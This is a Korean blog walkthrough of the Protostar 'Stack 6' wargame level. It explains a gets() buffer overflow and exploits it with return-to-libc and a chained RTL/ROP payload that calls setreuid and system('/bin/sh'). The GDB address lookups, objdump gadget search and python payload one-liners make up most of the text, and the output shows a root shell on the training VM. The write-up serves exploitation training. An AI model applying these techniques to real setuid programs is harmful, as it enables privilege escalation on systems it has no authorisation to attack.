본문 바로가기

WarGame/Exploit-Exercises

[Exploit-Exercises | protostar] Stack 6 :: RTL & ROP


Stack 6의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void getpath()
{
  char buffer[64];
  unsigned int ret;
 
  printf("input path please: "); fflush(stdout);
 
  gets(buffer); // Vurnerability!!!
 
  ret = __builtin_return_address(0);
 
  if((ret & 0xbf000000== 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }
 
  printf("got path %s\n", buffer);
}
 
int main(int argc, char **argv)
{
  getpath();
}
cs


main() 함수에서 getpath() 함수를 호출합니다. getpath() 함수에는 buffer와 ret 변수가 선언되어 있습니다. 취약한 gets() 함수가 보입니다. buffer를 Overflow시켜서 RET을 변조할 수 있습니다. 그러나 getpath() 함수의 리턴 주소(__builtin_return_address(0))가 대입되어 있는 ret 변수와 0xbf000000를 AND 연산하여 0xbf000000가 나오면 프로그램이 종료됩니다. 즉 RET의 값이 스택 영역인 0xbf로 시작되면 프로그램이 종료됩니다. 따라서 기존의 방법과는 다르게 RTL 기법을 이용하여 문제를 해결하였습니다.



  • void *__builtin_return_address(unsigned int LEVEL) : 이 함수는 리턴주소, 즉 자신을 호출한 함수의 반환 위치 주소를 돌려 줍니다.
  • RTL(Return To Lib) : 스택에 shellcode를 넣지 않고 RET에 libc라는 공유라이브러리 함수 주소로 덮어씌워 특정 함수를 호출하는 기법



Step 1. GDB를 이용하여 buffer의 크기를 확인합니다. 아래와 같이 buffer의 크기는 76 Bytes로 확인되었습니다.


1
2
3
4
5
6
7
8
9
10
(gdb) x/28x $esp
0xbffff720:     0xbffff73c      0x00000000      0xb7fe1b28      0x00000001
0xbffff730:     0x00000000      0x00000001      0xb7fff8f8      0x41414141
0xbffff740:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff750:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff770:     0x41414141      0x41414141      0x41414141      0xbffff700
0xbffff780:     0xb7ec6365      0xb7ff1040      0xbffff798      0x08048505
(gdb) x/x $ebp
0xbffff788:     0xbffff798
cs


Step 2. 아래와 같은 명령어로 라이브러리에 있는 system() 함수와 exit() 함수의 주소를 확인합니다.


1
2
3
4
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
cs


Step 3. "/bin/sh" 문자열의 주소를 확인해야 합니다. 확인하는 방법은 환경변수에 "/bin/sh" 문자열을 저장하는 방법과 C 코드를 통해서 확인하는 방법 등이 있습니다. 저는 아래와 같은 C 코드를 통해서 "/bin/sh" 문자열의 주소를 확인하였습니다.


1
2
3
4
5
6
7
8
9
#include <stdio.h>
 
int main() {
        long sh = 0xb7ecffb0; // system() 함수 주소
        while(memcmp((void*)sh, "/bin/sh"8)) {
            sh++;
        }
        printf("%p\n",sh);
}
cs


Step 4. 컴파일 하여 실행하면 다음과 같은 "/bin/sh" 문자열의 주소가 출력됩니다.


1
2
user@protostar:~$ ./getbinsh
0xb7fb63bf
cs


Step 5. 이제 공격 payload를 만들기 앞서 실제 메모리에서 함수와 함수의 인자가 어떻게 구성되는지 파악해야 합니다. 위에 있는 스택은 기존의 getpath() 함수의 구성이고 아래쪽 스택을 자세히 볼 필요가 있습니다. 스택의 특성상 기존의 RET 영역에 특정 함수를 호출하게 되면 다음 4 Byte가 해당 함수의 RET 영역이 되고 그 다음 4 Byte가 해당 함수의 인자로 인식하게 됩니다. 즉, 함수를 호출하는 부분으로 부터 8 Byte 만큼 떨어진 곳이 해당 함수의 인자가 있는 영역입니다.




※ 참고

위 스택구성의 원리에 대해서는 http://xer0s.tistory.com/23 블로그에 다음과 같이 서술되어 있습니다.

RTL을 예로 들어보면 스택구조가 [ buffer ][ sfp ][ ret ] 대충이런식으로 있다고 가정했을때 ret에 system함수 주소를 넣어주면 정상적으로 (call로 호출) system함수를 호출 했을때 함수 호출 이후 코드 실행을 위해 saved eip를 스택에 푸쉬하는데 ret로 함수를 호출하면 이 push eip가 안된 상태에서 함수 내부에서 함수를 빠져나올때 원래 push eip가 되있어야 될위치의 값을 호출하기 때문에 [ &system ][ &exit ][ /bin/sh ] 와 같은 구성이 가능한 것이다. 함수 인자를 ebp + 8부터 참조하는것도 이 이유 때문이다. 이런 원리를 이용해 chaining rtl을 할때도 pop pop ret과 같은 가젯을 이용해 계속 ret로 함수를 호출하면서 구성을 해줄수가 있다.




Step 6. 이제 buffer와 SFP 영역을 A라는 문자로 채우고 RET을 위에서 파악해두었던 system() 함수 주소로 변조합니다. 그리고 그 다음 4 Byte는 dummy 값으로 채워도 되지만 깔끔한 성공화면을 위해 exit() 함수의 주소로 바꾸고, 가장 중요한 그 다음 4 Byte에 "/bin/sh" 문자열의 주소를 집어 넣습니다. 다음과 같은 payload를 통해 root 권한을 탈취할 수 있습니다.


1
2
3
4
5
6
user@protostar:~$ (python -c 'print "A"*80+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\xbf\x63\xfb\xb7"';cat) | /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?痍AAAAAAAAAAAA?痍?痍풻蹊
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
cs



※ 해당 환경은 Setuid가 걸린 파일을 system("/bin/sh")로 실행하면 해당 소유자의 권한으로 상승시킬 수 있지만, libc 2.x 버전 이상 부터는 system() 함수의 권한이 낮아졌기 때문에 특정 소유자로 권한을 상승시킬 수 없기 때문에 setreuid()도 함께 실행시켜줘야 합니다.








 ROP (Chaining RTL)을 이용한 setreuid() 실행 


위에서 살펴 본 것 처럼 만약 system("/bin/sh")만으로 권한 상승을 할 수 없을 때는 setreuid()도 함께 실행시켜줘야 합니다. 따라서 순차적으로 임의의 함수를 호출시킬 수 있는 Chaining RTL 기법으로 위에서 살펴 보았던 payload에 setreuid() 함수를 추가하겠습니다.

Step 5에서 살펴 본 스택의 특성에 의해 한번에 함수 호출 뿐만 아니라 순차적인 함수 호출이 가능합니다.





두번째 까지가 위에서 살펴본 기본적인 RTL 기법이였고, 제일 하단에 있는 스택을 보면 setreuid() 함수를 추가하였고 그 다음에는 setreuid() 함수의 RET가 오고 그 다음에는 차례대로 첫번째 인자와 두번째 인자가 오게 됩니다. 그리고 setreuid() 함수가 리턴되면 system() 함수가 호출되면서 8 Byte 뒤에 있는 "/bin/sh"이 인자로 들어오게 만들어야 합니다. 


RET of setreuid() 영역에 12 Byte 뒤에 있는 주소값을 넣어주면 setreuid() 함수가 끝나고 system() 함수가 호출될 것입니다. (이상하게 해당 환경에서는 먹히질 않습니다.) 하지만 랜덤 스택 등이 적용된 환경에서는 해당 기법이 먹히질 않으므로 ROP 기법을 이용해야 합니다.



 ROP (Return Oriented Programming)

ROP는 취약한 프로그램 내부에 있는 기계어 코드 섹션들(Gadget)을 이용하여 BOF 공격 시 특정 명령을 실행시키는 방법을 말합니다. 보통 Gadget은 함수 끝에 기술되어있는 ret 명령어를 포함, 상위 몇가지 명령어들의 집합이며 이를 이용하여 단한번의 실패없이 공격을 성공시킬 수 있습니다.


[참조] http://teamcrak.tistory.com/332


 Chaining RTL

ROP 기법에서 사용하는 Gadget을 이용하여 연속적인 함수를 호출하는 기법




아래 그림과 같이 RET of setreuid() 부분에 pop-pop-ret을 순차적으로 실행하는 Gadget의 주소를 넣어 놓으면 setreuid() 함수가 리턴될 때 pop-pop이 실행되면서 2개의 인자가 스택에서 빠져나가고 system("/bin/sh") 함수를 실행시킬 수 있습니다.



Step 1. objdump를 이용하여 적절한 Gadget을 찾습니다. pop-pop-ret은 반드시 연속적인 주소여야 합니다. 또 첫번째 인자를 가리키는 %ebx나 %edi를 pop하는 부분을 이용해야 합니다. 당연히 두번째 인자를 가리키는 %ecx를 먼저 pop 했다가는 "segmentation fault" 에러가 출력될 것입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
user@protostar:~$ objdump -d /opt/protostar/bin/stack6 | egrep "pop|ret"
 804833c:       5b                      pop    %ebx
 804835c:       58                      pop    %eax
 804835d:       5b                      pop    %ebx
 804835f:       c3                      ret
 80483d2:       5e                      pop    %esi
 8048452:       5b                      pop    %ebx
 8048453:       5d                      pop    %ebp
 8048454:       c3                      ret
 8048482:       c3                      ret
 80484f9:       c3                      ret
 8048507:       5d                      pop    %ebp
 8048508:       c3                      ret
 8048513:       5d                      pop    %ebp
 8048514:       c3                      ret
 8048575:       5b                      pop    %ebx
 8048576:       5e                      pop    %esi
 8048577:       5f                      pop    %edi
 8048578:       5d                      pop    %ebp
 8048579:       c3                      ret
 804857d:       c3                      ret
 80485a7:       5b                      pop    %ebx
 80485a8:       5d                      pop    %ebp
 80485a9:       c3                      ret
 80485b8:       5b                      pop    %ebx
 80485c4:       59                      pop    %ecx
 80485c5:       5b                      pop    %ebx
 80485c7:       c3                      ret
cs


Step 2. 위에서 찾은 적절한 Gadget으로 다음과 같은 payload를 완성시킬 수 있습니다.


1
2
3
4
5
user@protostar:~$ (python -c 'print "A"*80+"\x00\xb7\xf5\xb7"+"\x52\x84\x04\x08"+"\x00\x00\x00\x00"+
"\x00\x00\x00\x00"+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\xbf\x63\xfb\xb7"';cat) | /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)
cs